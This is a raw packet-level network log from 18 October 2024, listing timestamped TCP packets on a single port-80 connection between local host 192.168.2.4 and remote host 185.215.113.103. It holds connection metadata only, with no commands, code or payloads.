Oct 18, 2024 15:04:54.862129927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.862164974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862178087 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862204075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862220049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862234116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862246037 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.862246037 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.862248898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862262964 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862288952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862304926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862318993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862323046 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.862323046 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.862335920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862351894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862368107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862379074 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.862395048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862401009 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.862409115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.862464905 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.862464905 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.874444962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.916251898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916318893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916336060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916351080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916374922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916387081 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.916389942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916445017 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.916445017 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.916527987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916543961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916562080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916577101 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916594028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916610956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916620970 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.916620970 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.916651011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916729927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916747093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916760921 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.916764021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916779041 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.916781902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916831970 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.916871071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916883945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916898966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916915894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916930914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916970968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916986942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.916990995 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.916990995 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917049885 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917052984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917081118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917104959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917121887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917126894 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917138100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917152882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917169094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917184114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917192936 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917192936 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917202950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917237997 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917411089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917427063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917443991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917481899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917483091 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917521954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917537928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917553902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917570114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917587042 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917601109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917612076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917648077 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917661905 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917681932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917696953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917711973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917726994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917745113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917752028 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917761087 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917778015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917820930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917826891 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.917836905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917853117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.917947054 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.918100119 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.918114901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.918131113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.918148994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.918226957 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.922328949 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.942604065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.942629099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.942739964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.942761898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.942795992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.942811012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.942898035 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.942929029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.942944050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.942991018 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.966120005 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977025032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977041006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977066040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977082968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977102995 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977112055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977125883 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977155924 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977233887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977248907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977264881 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977278948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977293015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977308989 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977324009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977329016 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977329016 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977340937 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977351904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977384090 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977400064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977463007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977484941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977591038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977603912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977618933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977632999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977632999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977634907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977659941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977677107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977693081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977701902 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977701902 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977709055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977725983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977744102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977760077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977766991 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977766991 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977813005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977817059 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977828026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977844000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977859974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977880955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977907896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.977916956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977931976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977946043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977962971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.977977037 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978005886 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978005886 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978149891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978212118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978319883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978336096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978374958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978389978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978415012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978430033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978434086 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978444099 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978449106 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978475094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978491068 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978504896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978521109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978537083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978550911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978564024 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978564024 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978574991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978590965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978615046 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978635073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978651047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978677034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978691101 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978696108 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978696108 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978709936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978724957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978739977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978764057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978779078 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978779078 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978780985 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978796959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978813887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978848934 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978849888 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978914022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978929043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978945971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978960991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978977919 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.978979111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.978996038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979016066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979028940 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979028940 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979031086 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979083061 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979096889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979113102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979127884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979130030 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979130030 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979178905 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979237080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979252100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979266882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979280949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979298115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979310036 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979346991 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979346991 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979363918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979382038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979404926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979420900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979438066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979453087 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979495049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979497910 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979497910 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979511023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979527950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979542017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979557991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979587078 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979636908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979646921 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979654074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979671001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979687929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979706049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979717970 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979717970 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979754925 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979769945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979795933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979809046 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979809046 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979811907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979830027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979846001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979885101 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979885101 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.979935884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979950905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979975939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.979990959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980007887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980012894 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980025053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980055094 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980072021 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980098009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980226994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980252028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980276108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980292082 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980307102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980319023 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980319023 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980324984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980340958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980356932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980371952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980386972 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980386972 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980400085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980416059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980441093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980456114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980458975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980458975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980472088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980489016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980504990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980528116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980530977 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980530977 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980581999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980778933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980793953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980808020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980823040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980839014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980854988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980856895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980870008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980885029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980899096 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980899096 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980901003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980917931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980931997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980947018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980964899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980977058 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980977058 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.980981112 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.980998993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981014013 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.981061935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.981077909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981092930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981116056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981132030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981137991 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.981148005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981163025 CEST	80	50042	185.215.113.103	192.168.2.4
